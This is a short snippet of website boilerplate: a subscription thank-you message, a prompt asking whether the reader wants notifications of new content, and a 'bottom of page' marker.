Thanks for subscribing!

Want to get notified when I create new content?

bottom of page